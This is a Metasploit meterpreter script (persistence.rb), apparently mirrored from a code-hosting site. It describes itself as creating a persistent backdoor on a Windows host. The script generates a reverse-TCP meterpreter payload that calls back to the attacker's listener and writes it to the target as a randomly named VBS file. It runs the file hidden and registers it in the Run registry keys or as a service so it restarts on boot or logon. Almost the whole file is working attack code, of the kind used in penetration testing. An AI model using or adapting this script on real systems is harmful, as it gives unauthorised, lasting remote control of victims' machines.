Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

persistence.rb 8.6KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259
  1. # Author: Carlos Perez at carlos_perez[at]darkoperator.com
  2. #-------------------------------------------------------------------------------
  3. ################## Variable Declarations ##################
  4. ##
  5. # WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
  6. # If you'd like to improve this script, please try to port it as a post
  7. # module instead. Thank you.
  8. ##
  9. # Meterpreter Session
  10. @client = client
  11. key = "HKLM"
  12. # Default parameters for payload
  13. rhost = Rex::Socket.source_address("1.2.3.4")
  14. rport = 4444
  15. delay = 5
  16. install = false
  17. autoconn = false
  18. serv = false
  19. altexe = nil
  20. target_dir = nil
  21. payload_type = "windows/meterpreter/reverse_tcp"
  22. script = nil
  23. script_on_target = nil
  24. @exec_opts = Rex::Parser::Arguments.new(
  25. "-h" => [ false, "This help menu"],
  26. "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
  27. "-p" => [ true, "The port on which the system running Metasploit is listening"],
  28. "-i" => [ true, "The interval in seconds between each connection attempt"],
  29. "-X" => [ false, "Automatically start the agent when the system boots"],
  30. "-U" => [ false, "Automatically start the agent when the User logs on"],
  31. "-S" => [ false, "Automatically start the agent on boot as a service (with SYSTEM privileges)"],
  32. "-A" => [ false, "Automatically start a matching exploit/multi/handler to connect to the agent"],
  33. "-L" => [ true, "Location in target host to write payload to, if none \%TEMP\% will be used."],
  34. "-T" => [ true, "Alternate executable template to use"],
  35. "-P" => [ true, "Payload to use, default is windows/meterpreter/reverse_tcp."]
  36. )
  37. ################## Function Declarations ##################
  38. # Usage Message Function
  39. #-------------------------------------------------------------------------------
  40. def usage
  41. print_line "Meterpreter Script for creating a persistent backdoor on a target host."
  42. print_line(@exec_opts.usage)
  43. raise Rex::Script::Completed
  44. end
  45. # Wrong Meterpreter Version Message Function
  46. #-------------------------------------------------------------------------------
  47. def wrong_meter_version(meter)
  48. print_error("#{meter} version of Meterpreter is not supported with this Script!")
  49. raise Rex::Script::Completed
  50. end
  51. # Function for Creating the Payload
  52. #-------------------------------------------------------------------------------
  53. def create_payload(payload_type,lhost,lport)
  54. print_status("Creating Payload=#{payload_type} LHOST=#{lhost} LPORT=#{lport}")
  55. payload = payload_type
  56. pay = client.framework.payloads.create(payload)
  57. pay.datastore['LHOST'] = lhost
  58. pay.datastore['LPORT'] = lport
  59. return pay.generate
  60. end
  61. # Function for Creating persistent script
  62. #-------------------------------------------------------------------------------
  63. def create_script(delay,altexe,raw,is_x64)
  64. if is_x64
  65. if altexe
  66. vbs = ::Msf::Util::EXE.to_win64pe_vbs(@client.framework, raw,
  67. {:persist => true, :delay => delay, :template => altexe})
  68. else
  69. vbs = ::Msf::Util::EXE.to_win64pe_vbs(@client.framework, raw,
  70. {:persist => true, :delay => delay})
  71. end
  72. else
  73. if altexe
  74. vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
  75. {:persist => true, :delay => delay, :template => altexe})
  76. else
  77. vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
  78. {:persist => true, :delay => delay})
  79. end
  80. end
  81. print_status("Persistent agent script is #{vbs.length} bytes long")
  82. return vbs
  83. end
  84. # Function for creating log folder and returning log path
  85. #-------------------------------------------------------------------------------
  86. def log_file(log_path = nil)
  87. #Get hostname
  88. host = @client.sys.config.sysinfo["Computer"]
  89. # Create Filename info to be appended to downloaded files
  90. filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
  91. # Create a directory for the logs
  92. if log_path
  93. logs = ::File.join(log_path, 'logs', 'persistence',
  94. Rex::FileUtils.clean_path(host + filenameinfo) )
  95. else
  96. logs = ::File.join(Msf::Config.log_directory, 'persistence',
  97. Rex::FileUtils.clean_path(host + filenameinfo) )
  98. end
  99. # Create the log directory
  100. ::FileUtils.mkdir_p(logs)
  101. #logfile name
  102. logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
  103. return logfile
  104. end
  105. # Function for writing script to target host
  106. #-------------------------------------------------------------------------------
  107. def write_script_to_target(target_dir,vbs)
  108. if target_dir
  109. tempdir = target_dir
  110. else
  111. tempdir = @client.fs.file.expand_path("%TEMP%")
  112. end
  113. tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
  114. fd = @client.fs.file.new(tempvbs, "wb")
  115. fd.write(vbs)
  116. fd.close
  117. print_good("Persistent Script written to #{tempvbs}")
  118. # Escape windows pathname separators.
  119. file_local_write(@clean_up_rc, "rm #{tempvbs.gsub(/\\/, '//')}\n")
  120. return tempvbs
  121. end
  122. # Function for setting exploit/multi/handler for autocon
  123. #-------------------------------------------------------------------------------
  124. def set_handler(selected_payload,rhost,rport)
  125. print_status("Starting connection handler at port #{rport} for #{selected_payload}")
  126. mul = client.framework.exploits.create("multi/handler")
  127. mul.datastore['WORKSPACE'] = @client.workspace
  128. mul.datastore['PAYLOAD'] = selected_payload
  129. mul.datastore['LHOST'] = rhost
  130. mul.datastore['LPORT'] = rport
  131. mul.datastore['EXITFUNC'] = 'process'
  132. mul.datastore['ExitOnSession'] = false
  133. mul.exploit_simple(
  134. 'Payload' => mul.datastore['PAYLOAD'],
  135. 'RunAsJob' => true
  136. )
  137. print_good("exploit/multi/handler started!")
  138. end
  139. # Function to execute script on target and return the PID of the process
  140. #-------------------------------------------------------------------------------
  141. def targets_exec(script_on_target)
  142. print_status("Executing script #{script_on_target}")
  143. proc = session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true})
  144. print_good("Agent executed with PID #{proc.pid}")
  145. return proc.pid
  146. end
  147. # Function to install payload in to the registry HKLM or HKCU
  148. #-------------------------------------------------------------------------------
  149. def write_to_reg(key,script_on_target)
  150. nam = Rex::Text.rand_text_alpha(rand(8)+8)
  151. key_path = "#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
  152. print_status("Installing into autorun as #{key_path}\\#{nam}")
  153. if key
  154. registry_setvaldata("#{key_path}", nam, script_on_target, "REG_SZ")
  155. print_good("Installed into autorun as #{key_path}\\#{nam}")
  156. file_local_write(@clean_up_rc, "reg deleteval -k '#{key_path}' -v #{nam}\n")
  157. else
  158. print_error("Error: failed to open the registry key for writing")
  159. end
  160. end
  161. # Function to install payload as a service
  162. #-------------------------------------------------------------------------------
  163. def install_as_service(script_on_target)
  164. if not is_uac_enabled? or is_admin?
  165. print_status("Installing as service..")
  166. nam = Rex::Text.rand_text_alpha(rand(8)+8)
  167. print_status("Creating service #{nam}")
  168. service_create(nam, nam, "cscript \"#{script_on_target}\"")
  169. file_local_write(@clean_up_rc, "execute -H -f sc -a \"delete #{nam}\"\n")
  170. else
  171. print_error("Insufficient privileges to create service")
  172. end
  173. end
  174. ################## Main ##################
  175. @exec_opts.parse(args) { |opt, idx, val|
  176. case opt
  177. when "-h"
  178. usage
  179. when "-r"
  180. rhost = val
  181. when "-p"
  182. rport = val.to_i
  183. when "-i"
  184. delay = val.to_i
  185. when "-X"
  186. install = true
  187. key = "HKLM"
  188. when "-S"
  189. serv = true
  190. when "-U"
  191. install = true
  192. key = "HKCU"
  193. when "-A"
  194. autoconn = true
  195. when "-L"
  196. target_dir = val
  197. when "-T"
  198. altexe = val
  199. when "-P"
  200. payload_type = val
  201. end
  202. }
  203. # Check for Version of Meterpreter
  204. unless client.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(client.arch)
  205. wrong_meter_version(client.session_type)
  206. end
  207. print_status("Running Persistence Script")
  208. # Create undo script
  209. @clean_up_rc = log_file()
  210. print_status("Resource file for cleanup created at #{@clean_up_rc}")
  211. # Create and Upload Payload
  212. raw = create_payload(payload_type, rhost, rport)
  213. script = create_script(delay, altexe, raw, payload_type.include?('/x64/'))
  214. script_on_target = write_script_to_target(target_dir, script)
  215. # Start exploit/multi/handler
  216. if autoconn
  217. set_handler(payload_type, rhost, rport)
  218. end
  219. # Execute on target host
  220. targets_exec(script_on_target)
  221. # Install in registry
  222. if install
  223. write_to_reg(key,script_on_target)
  224. end
  225. # Install as a service
  226. if serv
  227. install_as_service(script_on_target)
  228. end